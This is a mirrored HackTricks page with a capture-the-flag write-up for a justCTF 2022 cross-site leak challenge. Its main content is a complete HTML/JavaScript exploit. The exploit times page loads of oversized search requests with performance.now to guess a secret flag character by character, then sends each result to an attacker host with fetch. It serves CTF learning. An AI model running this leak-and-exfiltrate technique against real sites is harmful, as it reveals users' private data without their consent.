mirror of
https://github.com/carlospolop/hacktricks
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132 lines
5.7 KiB
Markdown
132 lines
5.7 KiB
Markdown
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# performance.now + Force heavy task
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
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In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
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{% hint style="warning" %}
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Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
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{% endhint %}
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```html
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<!DOCTYPE html>
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<html>
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<head>
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</head>
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<body>
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<img src="https://deelay.me/30000/https://example.com">
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<script>
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fetch('https://deelay.me/30000/https://example.com')
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function send(data) {
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fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
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}
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function leak(char, callback) {
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return new Promise(resolve => {
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let ss = 'just_random_string'
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let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
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let start = performance.now()
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let object = document.createElement('object');
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object.width = '2000px'
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object.height = '2000px'
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object.data = url;
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object.onload = () => {
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object.remove()
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let end = performance.now()
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resolve(end - start)
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}
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object.onerror = () => console.log('Error event triggered');
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document.body.appendChild(object);
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})
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}
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send('start')
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let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
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let flag = 'justCTF{'
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async function main() {
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let found = 0
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let notFound = 0
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for(let i=0;i<3;i++) {
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await leak('..')
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}
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for(let i=0; i<3; i++) {
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found += await leak('justCTF')
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}
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for(let i=0; i<3; i++) {
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notFound += await leak('NOT_FOUND123')
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}
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found /= 3
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notFound /= 3
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send('found flag:'+found)
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send('not found flag:'+notFound)
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let threshold = found - ((found - notFound)/2)
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send('threshold:'+threshold)
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if (notFound > found) {
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return
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}
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// exploit
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while(true) {
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if (flag[flag.length - 1] === '}') {
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break
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}
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for(let char of charset) {
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let trying = flag + char
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let time = 0
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for(let i=0; i<3; i++) {
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time += await leak(trying)
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}
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time/=3
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send('char:'+trying+',time:'+time)
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if (time >= threshold) {
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flag += char
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send(flag)
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break
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}
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}
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}
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}
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main()
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</script>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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|
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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